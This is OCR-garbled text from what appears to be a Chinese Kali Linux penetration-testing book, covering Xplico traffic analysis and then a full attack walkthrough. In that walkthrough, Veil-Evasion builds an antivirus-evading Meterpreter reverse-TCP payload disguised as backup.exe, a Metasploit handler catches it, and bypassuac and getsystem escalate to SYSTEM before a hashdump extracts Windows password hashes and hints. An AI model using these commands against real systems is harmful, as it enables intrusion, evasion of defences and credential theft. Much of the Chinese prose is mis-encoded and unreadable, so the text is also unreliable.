Mg 4 B, i LUA £ Apache2 il 55 LR 30

Qii&E: AEAA% T B3 Apache 2 JR4H B, THA d L[] Starting web server:
apache2apache?: Could not reliably determine the server's fully qualified domain
name, using 127.0.1.1 for ServerName 13 &, iX & [ ) Apache 2 IR % % 4982 & LA+
P A BLE ServerName £, %13 8. 2 F % Web IR 52471719,

i 3h Xplico JIRS . $hAT fiv %1 B iz
root@kali:~# service xplico start

[....] Starting : XplicoModifying priority to -1
.ok

MEL FoiHAS ., v LAE F| Xplico k45 RN A 8l . BRAE R T LA Xplico k%5 T .
[3£6 6-41 {FH Xplico T H AR Ik 1 peap CfF. HAREAR DB W TR,
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(1) 7R3 %254 http:/localhost:9876, K541 T i PE 6.20 A7~ 1) A1
r—————

Xplico ..:Usars:.. - Icowaasal

File Edit View History Bookmarks Tools Help

Ll

|2 xplico .:Usars.

€ [vowae @ &

€ (@ localhostiss 7oiusersiiogn
I Most Visited™ [ Offensive Security " Kali Linux %, Kali Docs BExploit DB

Xplico Interface

Login  Licenses

--Language-- 2
Please login
Username
enhance #plico
Password
Login

3]

| B

P 6.20 Xplico &% A1

(2) IR 5k Xplico k45 . Xplico BRI 42 A ISR AL xplico, HA )™

AV Y R >k Xplico Ja, RE R 6.21 FroR(fr St .
(S

Xplico ..-Pols:.. - Iceweasel

File Edit View History Bookmarks Tools Help

I'P Xplico .:Pols:.. HEI
~ €| [ ~ coogee a & &

€ @ Localhost 9576/poLs/index

[EZMost Visitedv  [llOffensive Security ‘% Kali Linux % Kali Docs EMExploit-DB W Aircrack-ng

Cases List
Name External Reference Type Actions

<nhance
a— ' aap

621 FpIFFER

(3) MizFriin e UG B8 AT N 2. ZRIA Xplico ks, WAL R Lossih. &
PR R K i G, AT LU#ENT peap SCfF. WSO RM, 7Ei1% TR O A O F
New Case 7%, ¥ iubmulE 6.22 Frasi Fim .

Xplico ..;Fols... - Iceweasel

| [a]x

File Edit View History Bookmarks Tools Help

| 22 xplica :Pols:. =]
4 [@ localhost:9876/pols/add v @ [ v coogle a I &%

B Most visited~ Pl Offensive Security S Kali Linux % Kali Docs KBExploit-DB W Aircrack-ng

Xplico Interface

Help  Forum  Wiki  Change

New Case

DATA ACQUISITION

enhance _ ~
® Uploading PCAP capture file/s Live acquisition

Case name  [Tes{
Externel reference

Creats

4622 BiEZEM
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$ 6w HilAH

(4) 7EIZF ML Uploading PCAP capture file/s, J147E ZH 4 . AFIH & E N Test,
RIS Create 4441, K Won W 6.23 Frzs B 51

Xplico ..:Pols:.. = Iceweasel u&;d

File Edit View History Bookmarks Tools Help
< Xplico ..:Pals:.. of
& [d lucalhusL 9676/ pul sfindex "C'] |i:]*’ Gouy.e QI < @

[ Most Visited~  JlOFensive Security W\ Kali Lirux "\ Kali Docs [EWExploit DB WyAircrack ng

Xplico Interface

Hep

The Case has been created

Cases List

Name External Reference Actions
Tes: Files Delete

fenhance

Bl ) 2]
P 6.23 B

(5) {EZFVRMEEF| L Bon T HEMEG.. it Test, &FZHFHSE,
Wik 6.24 i,

Xplico ..:Sols:.. = [ceweasel HILJ
File Edit View History Bookmarks Tools Help
2 Xplico ..:Sols:.. [ﬂ
« ['3lnca\.hnst'9876}50[5"\nde> Vell v Google QJ &

[ Most Visitedv JllOffensive Security "\ Kali Linux "\ Kali Docs [BExploit-DB Wy Aircrack-ng

Xplico Interface

Wiki  Change passw

List of listening sessions of case: Test

Name Start Time End Time Status Actions

enhance

P 6.24 WEWTIH s

(6) MAZFHIH T AR B WA 2545 K, % FREIES 1. B AME ) New
Session 774, FFE WP 6.25 Fronit At .

Xplico ..:Sols.. - Iceweasel HQEJM

File Edit View History Bookmarks Tools Help

'C._Xpll:o.‘:Suls:.‘ H P |
] [& Lucalhost: 98767solsfadd g e_] IHV Guugla QI &

B Most Visited~  Jll Offensive Security S, Kali Linux %, Kali Docs ﬂExpLoﬂ:—DB ‘Aircra:k-ng

Xplico Interface

Help  Forum  Wiki  Change password

New listening session

Session name  [Windows XP targef|
Create

K625 BrEEssi
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(7) FE%FL Session name X I [ SCAKE P NGRS 15 4, S8R5 i Create 14
Hl, ¥ B aawE 6.26 Bl Fim.

Xplico ..:Sols:.. - Iceweasel u.'_d X

File Edit View History Bookmarks Tools Help
< Xplico ..:Sols:.. ﬂfﬂi ]
<@ [d localhost: 98 76/s0ls/index e e] [{:}V Google Q] @

E5Most Visited il Offensive Security " Kali Linux "% Kali Docs KBExploit-DB W Aircrack-ng

Xplico Interface

Help  Forul “hange passwo

The Session has been created

List of listening sessions of case: Test

Name Start Time End Time
WindowsXPtarget ‘0000-00-00 00:00:00 0000-00-00 00:00:00 EMPTY

I“enhance
=3

B 6.26 FrEiein

(8) MiZA eI LB R E T %8 Windows XP Target (23 if. M2 Z 2%
gt Al LN peap SCHHENT T T . Bdi 2 1% 4 WindowsXPtarget, Ff R WP 6.27 B
MR

Xplico ..:Sols:.. = Iceweasel H'ﬁid

File Edit View History Bookmarks Tools Help

| 2 Xplico ..:Sols:.. [‘i‘_]
€ [@ tocalhost:9876/50ls/view/1 v €| [CIv Google aj ¢

B Most Visited v Offensive Security ", Kali Linux & Kali Docs uExploit-DB ‘Airl:ﬂck—ng

Xplico Interface xplico B

Case and Session PCAP-over-IP TCP port: 30002.

name Test -> WindowsXPtarget

Cap. Start Time 0000-00-00 00:00:00 i
Cap. End Time 0000-00-00 00:00-00 Browse... J AA-BB60KJM26FSW_20140717.5608.cap|

- Status EMPTY Upload |

Hosts
[oman | serelpee e |
|

© Share " HTTP CMms " Emails
© chal Post 0 Number 0 Received 0 — -
© Shell Get 1] Contents0 Sent 0 1|
video 0 video 0 Unreadedo/0 Downloadedo Sent 0
- Images 0 Images 0 Uploadedo - 0 E

- . )
K 6.27 A% peap I

(9) iZFHEH K EIR peap ARG B . B Orie AT FARAEAT peap A, FirLA
H415 Browse $a 8l L B AR HT (P14 3R S0 2R )5 Bihi Upload ¢4, A5 2= iE 6.28 iRt
Fi .

(10) MiZFE 1 0] LB B peap CAFE4T LN T peap SCHFI R E R AL, wf
LLATIN A G o 15 s 1 10 fp2ifd, 4y HTTP, MMS, Emails, FTP-TFTP-HTTP file
1l Web Mail 25, 76 1% L S 2200 R vh i Web J1% 4% Site 174, 15 B 6.29 Fism
FH1 -
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$ 6w HilAH

2 Xplicn ..:Sols:.. - Iceweasel _“
File Edit View History Bookmarks Tools Help

O Connecting... I[%]

€@ B [@ ocalhost: 98767505 view/1 v@| [ v coogle al &

[ Most Visitedv [l Offensive Security "\ Kali Linux S Kali Docs EBExploit-DB Wy Aircrack-ng

xplico

Case and Session name Test -> Windows7Target PCAP-over-IP TCP port: 30002.
Cap. Start Time 2014-07-03 14:11:43 Add new pcap file.

Cap. End Time 2014-07-03 14:12:08
Browse... | No file selected.

Status DECODING COMPLETED
Hosts

[ Joiond
CII Filter List of all pcap files.

n

Post Number 0 Received 0 - Total 0

Get Contents 0 Sent 0 Connections- 0 Received 0
Video video 0 Unreaded 0/0 Downloades- 0 Sent 0
. Images Images 0 Uploaded 0-0
HTTP o
(RCrakespttsn ] (Ons-Arp-lempvs ] (Wiener ) (we )
- Server 1] DNS res 2 Video 1] Groups 0O
Users 0 Channels 0/0/0 ARP/ICMP® /0 Audio 0 Articles 0

Waiting for localhost...

¥ 6.28  WTh AR TSk S

Xplico ..:.Webs:.. - Iceweasel uﬂﬂ

File Edit View History Bookmarks Tools Help
2 Xplico ..:.Webs:.. “4]
‘ [G‘ localhost: 9876/webs v e} [ ¥ Google Q] @ ﬁ

[& Most Visitedv  JllOffensive Security "\ Kali Linux '\ Kali Docs EBExploit-DB  WyAircrack-ng

Change ord Licenses Logou
For a complete view of html page set your browser to use Proxy, and point it to

© Graphs Web server.

Web URLs: @ Html Olimage CFlash Ovideo OAudio CJsoN

Search: Can
Go
Date url Size  Method Info

) Mrarll 2014-07-17 18:14:56‘Imue.hlIdu.uom,fdall/imgin'o?p\cture_\d-mAs?M1216&co|un | 981 GET info.xml
g \:I:lrls- 2014-07-17 16:14:50image.baidu.com/data/imginfo?picture_id=10487798245&colun GET info.xml
© chat 2014-07-17 16:14:46 image.baidu.com/data/imginfo?picture_id=12156538016&colun GET  info.xml
© Shell 2014-07-17 16:14:42 Image.baldu.com/data/imginfo?picture_|d=10487846235&colun GET info.xml
© Undecoded 2014-07-17 16:14:37 whois.pconline.com.cn/ipJson.jsp?callback=cmt4_getAreaBack info.xml
icénhance 2014-07-17 16:14:37 pos.baidu.com/ecom?cec=gb23128&dai=1&cfv=68&cpa=1&col=zh- 38243 GET info.xml
2014-07-17 16:14:36 Bdz5za.v.admaster.com.cn/i/a20610,6200450151,02289,i0,m: L] GET  info.xml
2014-07-17 16:14:36 stat.aa.sdo.com/?action=cmésrc=Admaster&uid=14071709313( 2 GET info.xml
2014-07-17 16:14:36 www.baidu.com/ur/scun?title=%E3%B0%S0WINTXHESXAINB1XET 2507 GET info.xml
2014-07-17 16:14:36 omt.pconline.com.cn/entry jsp?url=http%3A//wallpaper.pconline. 20392 GET info.xml
2014-07-17 16:14:35wallpaper.pconline.com.on/pic/3604.html 25587 GET info.xml
2014-07-17 16:13:58 Image.baldu.com/data/imginfo?plcture_ld=10487809439&colun a71 GET  Info.xml
2014-07-17 16:13:47 Image.baldu.com/detall/newindex?col=%E5%A3%81%XETXBAXBS 51865 GET Info.xml
2014-07-17 16:13:44 image.baldu.com/channel /getpicinfo?idlist=12156538016%2C1 431 GET info.xml
2014-07-17 16:13:43 image.baidu.com/channel/lis{json?pn=0&m=24&1agl=%E5%AI% 7191 GET info.xml
2014-07-17 16:13:41image.baidu.com/channel /wallpaper 27144 GET  info.xml

K629 R 7RSO A

D) AZ SRR TR SO AT U ) il =, AAZ SRR IR T LA 236 8 I
T ke iR A DT A LR A baidu, K52l 6.30 Jraci Frif .
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Xplico ..:\Webs:.. - Iceweasel -ﬂ

File Edit View History Bookmarks Tools Help
p)(plica .:Webs:..

. [G‘ localhost: 9876/ webs Ve] E v Google QJ &

[ Most Visitedv  JljOffensive Security "\ Kali Linux “ Kali Docs [BExploit-DB Wy Aircrack-ng

For a complete view of html page set your browser to use Proxy, and

point it to Web server.
Web Web URLs: @ HtmlI Olimage OFlash OvVideo OAudlo
Ouson  Oan
Search: baidu

r
[© war | er - -
o v 2014-07-17 16:14:56 image.baldu.com/data/imginfo?picture_Id=10487841 info.xml

2014-07-17 16:14:50 image.baldu.com/data/Imginfo?picture_Id=1048779¢& Info.xmi
2014:07-17 16:14:46 Image.baldu.com/data/Imginfo?picture_|d=1215653¢ Info.xmi
2014-07-17 16:14:42 image.baidu.com/data/imginfo?picture_id=1048784€ info.xml
2014-07-17 16:14:37 pos.baidu.com/ecom?cec=gb23124&dai=1&cfv=6&cpa info.xml
I'Denhance 2014-07-17 16:14:36 www.baldu.com/ur/scun?title=%E3%80%30WinT%EE% 2507 GET Info.xmi
2014:07-17 16:14:36 emt.pconline.com.on/entry.JspPurl=http%3A/ /wallpapt 20392 GET Info.xmi
2014-07-17 16:13:58image.baidu.com/data/imginfo?picture_Id=1048780¢€ 971 GET Info.xmi
2014-07-17 16:13:47 image.baidu.com/detail/newindex?col=XE5%A3%81% 51865 GET  info.xml
2014-07-17 16:13:44 image.baldu.com/channel/getpicinfo?idlist=1215653 431 GET  info.xml
2014-07-17 16:13:43Image.baldu.com/channel/listjson?pn=0&m=24&tagl 7191 GET Info.xml
2014-07-17 16:13:41Iimage.baldu.com/channel /wallpaper 27144 GET Info.xmi
2014-07-17 16:13:36 image.baidu.com/ 40967 GET  info.xml
2014-07-17 16:13:33 www.baidu.com/ 15075 GET  info.xml
2014-07-17 16:13:18 pos.baldu.com/ecom?cec=utf-8&dal=58ctv=68cpa=1: 40507 GET Info.xmi
2014-07-17 16:13:18 pos.baldu.com/ecom?cec=utf-8&dal=3&cfv=68&cpa=1. 42525 GET Info.xml

4630 Wzt

(12) MizFrmn LR 2], R RIA 3 I WRAER AR ARGV LA )T
Sk JE A R ) Image TEIR, #5631 Frans ¥ 5 i
Xplico ...Webs:.. - Iceweasel -“d

File Edit View History Bookmarks Tools Help
2 Xplico ..:Webs:.. H
« [d‘ localhost: 98 76/webs/images v e] [ V¥ Google 6‘1] &

[ Most Visitedv  JllOffensive Security % Kali Linux "% Kali Docs EBExploit-DB WyAircrack-ng

Search:

f.niphotos baidu.com d.hiphotos baidu.com h.hiphetos.baidu.com c.hiphotes baidu.com
Image or Page Image or Page Image or Page Image or Page

I

b.hiphatos.baidu.com €.hiphotos baidu.com imgstat baidu.com b.hiphotos baidu.com
© Undecoded

e Image or Page Image or Page Image or Page Image or Page
Rnhance

c.hiphotos baidu.com imgstat baidu.com b.hiphotos.baidu.com a.hiphotos baidu.com
Image or Page Image or Page Image or Page Image or Page

B 631 i A
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(13) Mzt el LUF ) AR R Gevy i) 1 (1 5 A7 B R 13 .
6.5 %.7 Payload & & T E Veil

Veil /&3] H] Metasploit HE4E A= liAH 3¢ %5 (1) Payload T-H., Jf H.7E K 2 2 45 PR g v
BEGEIL W WA AT IRE . AR 4 Veil TR 24N .
{F Kali Linux #, BRI\ 22%E Vell T H . X B goewds Vel TH, AT T EIRT

A
ii]

L

root@kali:~# apt-get install veil

HATUL B A Ta, R e A A RN IR UG, WER AR Vell T H 223580, fF
GROZ LA S %,  Fr AL FE N 1) 77 sk .
Jaal) Vell L H. $UTaH S0 TR

root@kali:~# veil-evasion

PUTLL B 2J5, AR . T piR:

Veil First Run Detected... Initializing Script Setup...

[*] Executing ./setup/setup.sh

Veil-Evasion Setup Script | [Updated]: 01.15.2015

[Web]: https://www.veil-framework.com | [Twitter]: @VeilFramework

[*] Initializing Apt Dependencies Installation

[*] Adding i386 Architecture To x86_64 System

[*] Updating Apt Package Lists

fef http://mirrors.ustc.edu.cn kali Release.gpg

fi ¥ http://mirrors.ustc.edu.cn kali/lupdates Release.gpg

fir ¥ http://mirrors.ustc.edu.cn kali Release

fir ¥ http://mirrors.ustc.edu.cn kali/updates Release

fir ¥ http://mirrors.ustc.edu.cn kali/main Sources

fir ¥ http://mirrors.ustc.edu.cn kali/non-free Sources

fir ¥ http://mirrors.ustc.edu.cn kali/contrib Sources

#r e http://mirrors.ustc.edu.cn kali/main amd64 Packages

f e http://mirrors.ustc.edu.cn kali/non-free amd64 Packages
#ive http://mirrors.ustc.edu.cn kali/contrib amdé4 Packages
3%XHY: 1 http://mirrors.ustc.edu.cn kali/main i386 Packages [8,474 kB]
feh http://http kali.org kali Release.gpg

fir ¥ hitp://security.kali.org kali/updates Release.gpg

f R hitp:/http kali.org kali Release
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Z 8% http://http kali.org kali/non-free Translation-en
T# 17.8 MB, #AK 20 # (859 kB/s)
EFEZRIREaTIR.. TR
[*] Installing Wine i386 Binaries
EFEZRIREaTIR.. TR
IEFE 7 AR 1 B AR ER X F vt
EAEZRIRREER... X
BeRR TR E:
gce-4.7-base:i386 libasound2:i386 libc-bin libc-dev-bin libc6 libc6:i386
libcB-dev libc6-i686:i386 libdbus-1-3:i386 libdrm-intel1:i386
libdrm-nouveau1a:i386 libdrm-radeon1:i386 libdrm2:i386 libexpat1:i386
libffi5:1386 libfontconfig1:i386 libfreetype6:i386 libgcc1:1386
[*] Cleaning Up Setup Files
[*] Updating Veil-Framework Configuration
Veil-Framework configuration:
[*] OPERATING_SYSTEM = Kali
[*] TERMINAL_CLEAR = clear
[*] TEMP_DIR = /tmp/
[*] MSFVENOM_OPTIONS =
[*] METASPLOIT_PATH = /usr/share/metasploit-framework/
[*] PYINSTALLER_PATH = /usr/share/pyinstaller/
[¥] VEIL_EVASION_PATH = /usr/share/veil-evasion/
[*] PAYLOAD_SOURCE_PATH = /root/veil-output/source/
[*] Path "/root/veil-output/source/' Created
[*] PAYLOAD_COMPILED_PATH = /root/veil-output/compiled/
[*] Path "/root/veil-output/compiled/* Created
[*] Path "/root/veil-output/handlers/ Created
[*] GENERATE_HANDLER_SCRIPT = True
[*] HANDLER_PATH = /root/veil-output/handlers/
[*] HASH_LIST = /root/veil-output/hashes.txt
[*¥] VEIL_CATAPULT_PATH = /usr/share/Veil-Catapult/
[*] Path "/root/veil-output/catapult/ Created
[*] CATAPULT_RESOURCE_PATH = /root/veil-output/catapult/
[*] Path ‘/etc/veil/' Created

Configuration File Written To '/etc/veil/settings.py'

DL B RHEEE - ET Veil A Bk, ettt Ry, #1ahih—SefiiA. Sk
2o HUHTC B R s s BN A . A B vh DL I 1 FE 20K VR 4%k T Python B
AR pywin32-218 Fll pyerypto-2.6. | K REAT 222 o 1 5058 H O TR HE, Q1P 6.32
JiR

1% ST 2 % %¢ Python UMJAG T, X AW ERIAR B, Hid7 Next 4241, 3 Wi
6.33 PR 7 -

L1 1% P10 oy Nexe #5401, ¥ Bos Wi PE 6.34 JTon i Fhii . iz A HLn C:\Python27 £ 47
76, AR S i OAP TR S0 . X HLEA T Yes 450, 5 Bon Wi 6.35 Fras i) FEm .
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Python 2.7.5 Setup

& 6.32  Python ¥J45 F 1 € 6.33 jL+$¥ Python L3 E

Python 2.7.5 Setup

Python27
@ Python 2.7.5 Setup
| —

pgth on

Mm&m

Pl 6.34 ik Python [ 45 635 HJE X Python
FEZ ST € S5 Python {1 —26T) k. 3X HUEHIBRARIBEE,  Hali Next 42411, #%
BRI 6.36 B S -

Python 2.7.5 Setup

e 6.36  ZH5ek

+ 191 -



/\ Q F2R 5B R A
Q ZFHEE 7R Python O 2558 . A Py Finish #4481, B BontlE 6.37 B Fm .

o
a©

P 6.37 %3 pywin32-218 HE S

TR SR 224 pywin32-218 Fiblt, X HLEE “ R 207 &4, Fas & 6.38 fr
ENOERTIHTE

Fq 638 WHEFNS
XA HERA B, Ry “F 07 $&HL K BoRE 6.39 FraR i) St .

P 639 s wd
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A\ 6 W6 A

\
T TR R AR F A 24 R AR R R0 E, Wil < F b7 el
Q o 6.40 R T

a©

P 6.40 Ze3EEk
MAZ T ] LAE #) pywin32-218 Fibl 4 2 5e il b s “45u0” $edll, K Wlom
WiPE 6.41 B Fom .

e 6.41 %% pycrypto-2.6 MiEhWILG S
T TG B2 pyerypto-2.6 #5iHL, IXHLRAHT < R0 JUFIG 2, P 642 Fior.

Setup

PYTHON

Powered

F 642 BERS
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/\Q B8 BRI
Q@E{Eﬂﬂ?ﬁy&fiﬁ W R B kL A5 s 6.43 FTRHY T

o
a©

PYTHON

Powered

€643 HEfaed:
PR B2 4¢ pyerypto Bt XL TR 207 58, ¥ 2R 6.44 FoR
SEAITS

PYTHON

powered

Ke44 ZHSE

MAZ T AT LR S LD BRI R D e ee . BBl <4500 dHl, K o R TR
HIEYSE

Veil-Evasion | [Version]: 2.4.3

[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework

Main Menu
24 payloads loaded
Available commands:

use use a specific payload

info information on a specific payload
list list available payloads

update update Veil to the latest version
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clean clean out payload folders
checkvt check payload hashes vs. VirusTotal
exit exit Veil

[>] Please enter a command:

ML EAR Sl AR BIE Vell &, A7 24 DHEGEEHrTngk, JEaH T el iidr 2.
AR T CAREAT S R ERAE T Bl &S v ns B b, AT Ay W bR

[>] Please enter a command: list

Veil-Evasion | [Version]: 2.4.3

[Web]: https://mww.veil-framework.com/ | [Twitter]: @VeilFramework

[*] Available payloads:

1) c/meterpreter/rev_tcp

2) c/meterpreter/rev_tcp_service

3) c/shellcode_inject/virtual

4) cl/shellcode_inject/void

5) cs/meterpreter/rev_tcp

6) cs/shellcode_inject/base64_substitution

7) cs/shellcode_inject/virtual

8) native/Hyperion

9) native/backdoor_factory

10) native/pe_scrambler

11) powershell/shellcode_inject/download_virtual
12) powershell/shellcode_inject/psexec_virtual
13) powershell/shellcode_inject/virtual

14) python/meterpreter/rev_http

15) python/meterpreter/rev_http_contained

16) python/meterpreter/rev_https

17) python/meterpreter/rev_https_contained
18) python/meterpreter/rev_tcp

19) python/shellcode_inject/aes_encrypt

20) python/shellcode_inject/arc_encrypt

21) python/shellcode_inject/base64 substitution
22) python/shellcode_inject/des_encrypt

23) python/shellcode_inject/flat

24) python/shellcode_inject/letter_substitution

M E S, aTBAE BT 24 Aol IS 4idr . s a] DR AT A — A i 4
far, WHATB B .

(L6 6-5) R fEH Vel LHA I #fr (A4 LL cs/meterpreter/rev_tep A1) , AT
BIENGE GXHL, Windows 7 /F A BGHEFENL) o FARERAELIRW FRTR.

(1) Jash Veil L H. $AT6a4 00 Fios:

root@kali:~# veil-evasion

PATLL B2 Jn, Rt s s &

k=

S

Veil-Evasion | [Version]: 2.4.3

[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework

Main Menu
24 payloads loaded
Available commands:
use use a specific payload
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info information on a specific payload

list list available payloads

update update Vell to the latest version
clean clean out payload folders

checkvt check payload hashes vs. VirusTotal
exit exit Veil

[>] Please enter a command:

7E4 H )15 S 3)[>] Please enter a command: 27~ 7T, 7R Veil B T .

(2) 1EFE cs/meterpreter/rev tep Biki#ifr o (EBL B 13, cs/meterpreter/revtep
AT g5 & 5. AT LW R R

[>] Please enter a command: use 5

Veil-Evasion | [Version]: 2.4.3

[Web]: https://www_veil-framework.com/ | [Twitter]: @VeilFramework

Payload: cs/meterpreter/rev_tcp loaded
Required Options:

Name Current Value Description
LHOST IP of the metasploit handler
LPORT 4444 Port of the metasploit handler
compile_to _exe Y Compile to an executable
Available commands:
set set a specific option value
info show information about the payload
generate generate payload
back go to the main menu
exit exit Veil

[>] Please enter a command:
b A B W T orev tep TClicqar o) AC E AU E TS K. X BB E 1 Al g
(LPORT) Ji 4444, LHOST &EIUABATRACE -
(3) B LHOST &I ZH, JrE RS AiiraE &, irar-ew Fs:

[>] Please enter a command: set LHOST 192.168.6.103
[>] Please enter a command: info

Veil-Evasion | [Version]: 2.4.3

[Web]: https://www_veil-framework.com/ | [Twitter]: @VeilFramework

Payload information:

Name: cs/meterpreter/rev_tcp
Language: cs
Rating: Excellent
Description:  pure windows/meterpreter/reverse_tcp stager, no
shellcode
Required Options:
Name Current Value Description
LHOST 192.168.6.100 |P of the metasploit handler
LPORT 4444 Port of the metasploit handler
compile_to exe Y Compile to an executable

M IAE A, PR B rev_tep BOhEAT VR R, WBGHEAT4 . EE . K
W) B G R e T 2 A
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(4) Jenf, {EH] generate fip 4 /L Ak Ay SCIF . AT A2 11 R TR

[>] Please enter a command: generate

Veil-Evasion | [Version]: 2.4.3

[Web]: https://www_veil-framework.com/ | [Twitter]: @VeilFramework

[*] Press [enter] for 'payload’
[>] Please enter the base name for output files: backup #HeEH X HR

{ERA i@ a1 044 8 backup. R )54 T IR, H SR W R RIS E

[*] Executable written to: /root/veil-output/compiled/backup.exe

Language: cs
Payload: cs/meterpreter/rev_tcp
Required Options: LHOST=192.168.6.103 LPORT=4444 compile_to_exe=Y
Payload File: /root/veil-output/source/backup.cs
Handler File: /root/veil-output/handlers/backup_handler.rc

[*] Your payload files have been generated, don't get caught!

[] And don't submit samples to any online scanner! ;)
>] press any key to return to the main menu:
[>] key to return to th i

M B AE R n] BUE R B Al AT S0 backup.exe,  JF Hoix SO IR A7 AR
/root/veil-output/compiled/*H . JEIN B R] AT 044 backup.exe K iEF| H FrEHNL L, el LA
AR RN = T

T R TFEE R Metasploit 61— MR, 2567 B ks THUEEE R Kali Linux (2
B BAERS . EREIIE, HERHE] - DEFE Shell M.

(561 6-6] G FEabEgs. BARERIELRL F R

(1) JB5h MSF #&3 .

(2) {4 F] handler £, $ATdrSW FiFm

msf > use exploit/multi’/handler

(3) Nk reverse_tcp TCitidlifer, JFe B HIEIIZE . BATAH2 W FATAR:

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST 192.168.6.103

LHOST => 192.168.6.103

(4 JAahBiEWE . AT FRR:

msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.6.103:4444

[*] Starting the payload handler...

M AR Bl BLE B i & i 25 80, A0SR 3 Hbs EHL.
S B I 1 A B AT AT S backup.exe iEE| H AR AL (Windows 7) , JFiEiT1%
AT M. RJGIR IS Kali Linux #:4E R85, #6200 R R 04E B

[*] Sending stage (769536 bytes) to 192.168.6.110
[¥] Meterpreter session 1 opened (192.168.6.103:4444 > 192.168.6.110:2478) at 2014-07-17

10:44:47 +0800
meterpreter >

MBLEAE B nTRUR BRCEIITIT T4~ Meterpreter 2xifi o JXFm CIEZE AT F
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FRUEAL, BRAERE R LAEAT 4% Shell #74-. WiHEAT AR AL Shell kG, $ATd 4T
B
meterpreter > shell

Process 1544 created.

Channel 1 created.

Microsoft Windows [O# 6.1.7601]

OOO0O0O0OO(e) 2009 Microsoft Corporationd 00000000000
C:\Users\lyw\Desktop>

b S BN T HAR R4 Windows 7 [ 247, I H 2481 Hbr B8 %0
& lyw,

an LB P A R R BB, 1) LA Metasploit t ) bypassuac %8 E UAC (F
PUTmlERD , dEmE TR AR . R IR ZA{EH] bypassuac #EEREETE DL L lyw HI P
A PR

(1) Ff Meterpreter 231, WS GET. PATHS LT Fis:

meterpreter > background
[*] Backgrounding session 1...

M s Eb, FTRLR BIYHTS BT Maim R o2 1. ixaim o f sl s, &
Je TR 23 i 21
(2) BHFSEHMEE . PAT A2 W Fros:

msf exploit(handler) > sessions
Active sessions

Id Type Information Connection

1 meterpreter x86/win32 WIN-RKPKQFBLG6C\bob @ WIN-RKPKQFBLGGC
192.168.6.103:4444 -> 192.168.6.106:49199 (192.168.6.106)

Moar s b el LU Blizos thrh, RS N A R AR AT 580 . o144 S TP k.
(3) {1 bypassuac fith, IFArFH R E ML 25, T4 W FIR:
msf exploit(handler) > use exploit/windows/local/bypassuac

msf exploit(bypassuac) > show options
Module options (exploit/windows/local/bypassuac):

Name Current Setting Required Description

SESSION yes The session to run this module on.
Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique (accepted: seh, thread, process,
none)

LHOST 192.168.6.103 yes The listen address

LPORT 4444 yes The listen port
Exploit target:

Id Name

0 Windows x86

M AT S, o] LA BB gt 10 A7 — > o] e B AL 100 22 4 SESSION ., 1%L 1 1) {8 ,
g2 YEN G Fis TS TR .
(4) %7 SESSION LI Z&%. W i
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msf exploit(bypassuac) > set session 1
session => 1

(5) RSB . IAT 4l KPR

msf exploit(bypassuac) > exploit
[*] Started reverse handler on 192.168.6.103:4444

[*] UAC is Enabled, checking level...

[+] UAC is set to Default

[+] BypassUAC can bypass this setting, continuing...
[+] Part of Administrators group! Continuing...

[*¥] Uploaded the agent to the filesystem....

[*] Uploading the bypass UAC executable to the filesystem...

[*] Meterpreter stager executable 73802 bytes long being uploaded..

[*] Sending stage (769536 bytes) to 192.168.6.106

[¥] Meterpreter session 2 opened (192.168.6.103:4444 -> 192.168.6.106:49206) at 2014-07-18
10:15:38 +0800

meterpreter >

MBS B, TR B s SR sk b B s TR L, TR S T
UAC @& T N asilic e shal L TR AR 1.
(6) #A lyw I RIEE . $ATar W FETR:

meterpreter > getuid
Server username: WIN-RKPKQFBLG6C\lyw

M A BT L BZH P 02 WIN-RKPKQFBLGG6C B ML il — AN ] F s
(7) $27F tyw H P IR, IFERHEHPEERE. T AT ims:

meterpreter > getsystem

...got system (via technique 1).

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

M A5 S T LR B 2560 byw J 40T T RS0 . e, w] LT
RIIRAE . ok Hbs &g, P RS E A $irarwn FAR:

meterpreter > run post/windows/gather/hashdump

[*] Obtaining the boot key...

[¥] Calculating the hboot key using SYSKEY 88f6c818af614f7033cb885 74907b61c...

[*] Obtaining the user list and keys...

[*] Decrypting user keys...

[*¥] Dumping password hints...

Test:"www.123"

abc: “123456”

alice: “passwd”

[*] Dumping password hashes...
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6¢cfe0d16ae931b73¢59d7e0c089¢c
0::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfeld16ae931b73c59d7e0c089c0:::
bob:1001:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9chba88547376818d4:::

Mo 45 S, TRAR B H ks RGeb Ay = A H7, JFH T RAE 2Ie A 1H) UID J2 % Y
Mg . i H, RS =R AR RS Wi Test H17, HE D www 123,
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FTE WNIR I FHA

BB B T ALK A T SR R AR PR AR e B B o DALY, JRATISRAS ) O 1]
JUAlREFIAT BARABIE . R, RS BB T, vl RERT ST B G S B, LA
T R TR . BCPRERE T el LLE R AL R E . AR TR 22 TR 7 55 Ty ik
SCHL. AFAG AR PETH ] P BB 5 ik

A LR AR

Q fEHEE

Q AHABERGE T Ao

O @ DY LA (SED) ;

Q A SET sEjfiddi.

7.1 1ERBE A

R E e DR E — DM a8 1 7 — AN P T SR e, T P AR Al
EHPFAE. SHARERSENLEFEL, WP SRR HrAfmH PR 2
—/NHI 8 Windows REERT, B — A7 Il A AR A e A E S s i — 34 il
AN N AT e DA I AR N AT S, 2 A A R R A B B R
T, Je B r4n, WESEFZABMAIE. X, NMEEBRHEASA, K
FETHE IV [ ALPR o ASTTK; I 43 7E Meterpreter Shell FsZHUE B 4 LI

711 TAE#E

TR E A I h A4 T Kerberos BRM . FrUAZESE I B A AT, g T
Kerberos f/}i¥ . Kerberos /& — M4 AUEPMY, HAig ik HAr 2B %48 2% 0 & F VRS
PR R PR AR A PIAIE RS . Kerberos T AEHLHI W& 7.1 Fi7s.

@ L
N jiz

TMIERR 28 AS

% 7.1 Kerberos TAEHLE



W7 BT

2 i R UE T R A B B

(1) &Pk RSss 4% (AS) RIEW K, ER1GERSEIUET.

(2) AS WeB K G, REE 5 P B P RN Lt@ﬂﬁﬁ‘hﬁlilﬁ B . Uk RS
254 ticket 04T i 45 2% 25 B 03 (1% 7 BL S A F— 2 0 3 DA NI i85 2 3 (XL
